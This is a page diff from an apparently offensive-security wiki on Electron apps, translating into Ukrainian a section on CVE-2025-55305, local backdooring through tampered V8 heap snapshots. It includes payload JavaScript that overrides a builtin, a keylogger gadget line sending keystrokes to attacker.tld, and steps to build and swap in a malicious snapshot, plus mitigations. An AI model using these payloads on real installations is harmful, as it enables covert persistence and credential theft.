# Vuln to nodeIntegration
|
||||
@ -435,18 +458,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## Локальне backdooring через підробку V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
Electron and Chromium-based apps десеріалізують заздалегідь зібраний V8 heap snapshot під час старту (v8_context_snapshot.bin, а опційно browser_v8_context_snapshot.bin), щоб ініціалізувати кожен V8 isolate (main, preload, renderer). Історично integrity fuses Electron не розглядали ці snapshots як виконуваний вміст, тож вони уникали як fuse-based enforcement цілісності, так і перевірок підпису коду ОС. У результаті заміна snapshot у встановленні, доступному для запису користувача, забезпечувала приховане, персистентне виконання коду всередині додатка без модифікації підписаних бінарників або ASAR.
|
||||
|
||||
Ключові моменти
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Локальний запис файлів у директорію інсталяції програми. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи доступні для запису користувачем (наприклад, %AppData%\Local на Windows; /Applications з обмеженнями на macOS).
|
||||
- Effect: Надійне виконання attacker JavaScript в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дає можливість персистенції та обходу перевірки підпису коду.
|
||||
- Affected surface: Electron apps (навіть з увімкненими fuses) та браузери на базі Chromium, які завантажують snapshots з локацій доступних для запису користувачем.
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar перевіряють JavaScript додатка всередині ASAR, але вони не охоплювали V8 heap snapshots (CVE-2025-55305). Chromium аналогічно не виконує integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. Це поширено на системах, де Electron apps або Chromium browsers встановлені в шляхи, доступні для запису користувача (наприклад, %AppData%\Local на Windows; /Applications з оговорками на macOS).
|
||||
- Effect: Надійне виконання JavaScript зловмисника в будь-якому isolate шляхом перезапису часто використовуваного builtin (a “gadget”), що дозволяє персистентність і уникнення перевірки підпису коду.
|
||||
- Affected surface: Electron apps (навіть із увімкненими fuses) та Chromium-based browsers, які завантажують snapshots з місць, доступних для запису користувача.
|
||||
|
||||
Генерація зловмисного snapshot без збірки Chromium
|
||||
- Використайте попередньо зібраний electron/mksnapshot, щоб скомпілювати payload JS у snapshot і перезаписати v8_context_snapshot.bin програми.
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -463,10 +486,10 @@ throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: Глобальні змінні, притаманні лише Node (наприклад process.pid, process.binding(), process.dlopen), присутні в ізоляції main process.
|
||||
- Browser/renderer detection: Глобальні змінні, притаманні лише браузеру (наприклад alert), доступні під час виконання в контексті документа.
|
||||
- Main process detection: У ізоляції main process присутні Node-only globals, такі як process.pid, process.binding(), або process.dlopen.
|
||||
- Browser/renderer detection: Browser-only globals, такі як alert, доступні під час виконання в контексті документа.
|
||||
|
||||
Приклад gadget, який одноразово перевіряє можливості Node у main-process
|
||||
Приклад gadget'а, який одноразово перевіряє можливості Node у main-process
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -519,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Робочий процес оператора
|
||||
1) Напишіть payload.js, який перезаписує загальну вбудовану функцію (наприклад, Array.isArray) і, за потреби, розгалужується по isolate.
|
||||
2) Зберіть snapshot без джерел Chromium:
|
||||
Операційний робочий процес
|
||||
1) Напишіть payload.js, який перезаписує загальний builtin (наприклад, Array.isArray) і, за бажанням, гілкується за isolate.
|
||||
2) Створіть snapshot без вихідників Chromium:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Перезапишіть файл(и) snapshot цільового застосунку:
|
||||
3) Перезапишіть файл(и) snapshot цільового додатка:
|
||||
- v8_context_snapshot.bin (завжди використовується)
|
||||
- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||
4) Запустіть застосунок; гаджет виконується щоразу, коли використовується обрана вбудована функція.
|
||||
4) Запустіть додаток; гаджет виконується щоразу, коли використовується обраний builtin.
|
||||
|
||||
Примітки та зауваження
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
Нотатки та зауваження
|
||||
- Integrity/signature bypass: Файли snapshot не розглядаються як нативні виконувані файли під час перевірок code-signing і (історично) не покривалися fuses Electron або контролями цілісності Chromium.
|
||||
- Persistence: Замiна snapshot у встановленні, доступному для запису користувачем, зазвичай переживає перезапуски додатку і виглядає як підписаний, легітимний додаток.
|
||||
- Chromium browsers: Такий самий підхід до підтасовування застосовується до Chrome/похідних, встановлених у місцях з правами запису для користувача. Chrome має інші механізми захисту цілісності, але явно виключає фізично локальні атаки зі своєї моделі загроз.
|
||||
|
||||
Виявлення і пом'якшення
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
Виявлення та пом’якшення
|
||||
- Розглядати snapshot як виконуваний вміст і включити їх у забезпечення цілісності (виправлення CVE-2025-55305).
|
||||
- Віддавати перевагу місцям встановлення з правами запису лише для admin; створити базові значення та моніторити хеші для v8_context_snapshot.bin і browser_v8_context_snapshot.bin.
|
||||
- Виявляти раннє перезаписування builtin під час раннього виконання та несподівані зміни snapshot; сигналізувати, коли десеріалізовані snapshot не відповідають очікуваним значенням.
|
||||
|
||||
## **References**
|
||||
## **Посилання**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -549,7 +576,6 @@ return orig(...arguments);
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
Loading…
x
Reference in New Issue
Block a user